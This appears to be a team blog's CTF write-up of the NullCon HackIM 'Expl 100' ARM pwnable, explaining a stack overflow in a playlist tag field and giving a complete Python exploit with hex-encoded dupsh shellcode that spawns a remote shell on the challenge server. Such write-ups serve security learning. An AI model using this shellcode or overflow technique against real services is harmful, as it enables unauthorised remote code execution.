GeeksSpeak Team Blog

WriteUps and random thoughts

Nullcon CTF - HackIM - Expl 100 - ARM

| Comments

Hi,

I participated in NullCon CTF with my team in this week. one of the challenge i solved was an arm binary pwnable.

1
2
hamidx9@expl:~/ctf/nullcon/expl100$ file pinkfloyd
pinkfloyd: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=62c86841d0c0384ce39d70fef5afe0eee5cad7b4, not stripped

pinkfloyd is an arm binary which provide saving playlist functionality. we can see two methods create, print. Analyzing cmd_do_create gives us the clue that it read from input 3 param, name, tag, # of songs. A little more reading the diseases shows if we use more that 84 chars in tag we overflow the stack. So we can abuse this method.

1
2
3
4
5
6
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Also checksec shows us we have a very suitable case, we can execute our shellcode. For hijacking pc we should overwrite lr register so on returning from the call, we have full control. based on add_playlist function myplaylist on bss always has last playlist struct address. So we should change our pc to playlist struct address to run our shellcode which exists in playlist name. Also we should notice our sock fd is 4 so we need a dupsh(4) shellcode. Ok, too much talking, let’s do this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python

# By HAMIDx9 :: GeeksSpeak :: ctf.nullcon.net HackIM :: Exploit 100

import struct
from hexdump import hexdump
import socket
import telnetlib

q = lambda x: struct.pack("<I", x)

#ret = q(0x0002605c) 

shellcode = "01608fe216ff2fe14ff002014ff03f0708460d462846284401df0139fad504a082ea02024ff00b0705b4694601df01012f62696e2f736800".decode("hex")
# Custom dupsh(4) thumb shellcode based on current execution
# To see whats going on : 
# from pwn import *
# context(arch="thumb", os="linux")
# print asm(shellcode[4:]) # skip change to thumb mode arm shellcode

hexdump(shellcode)

s = socket.socket()
s.connect(("52.72.171.221", 9981))
#s.connect(("localhost", 9981))

s.recv(1024)
s.send("create\n") # create a playlist

s.recv(1024)
s.send(shellcode+"\n") # playlist name

s.recv(1024)
#s.send("A"*100+"\n") # crashes in playlist tag
s.send("A"*80+"BBBB"+q(0x8C0CC)+"\n") # set lr to myplaylist to jump to it then,
# after returning from cmd_do_create pop {lr, pc} pops heap address of playlist name in pc which has our dupsh(4) shellcode

s.recv(1024)
s.send("1"+"\n") # playlist tracks 


print [+] Here you go
t = telnetlib.Telnet()
t.sock = s

t.interact() # interact

And running the expl:

1
2
3
4
5
6
7
8
9
10
KernelsCallMe:exp100 hamidx9$ python sol.py
00000000: 01 60 8F E2 16 FF 2F E1  4F F0 02 01 4F F0 3F 07  .`..../.O...O.?.
00000010: 08 46 0D 46 28 46 28 44  01 DF 01 39 FA D5 04 A0  .F.F(F(D...9....
00000020: 82 EA 02 02 4F F0 0B 07  05 B4 69 46 01 DF 01 01  ....O.....iF....
00000030: 2F 62 69 6E 2F 73 68 00                           /bin/sh.
[+] Here you go
cat *
cat: bin: Is a directory
cat: dev: Is a directory
flag-{intr0-70-ARM-pwn4g3-4-fuN-n-pr0Fi7}

So the flag is flag-{intr0-70-ARM-pwn4g3-4-fuN-n-pr0Fi7} and we have 100 pts.

@HAMIDx9

Comments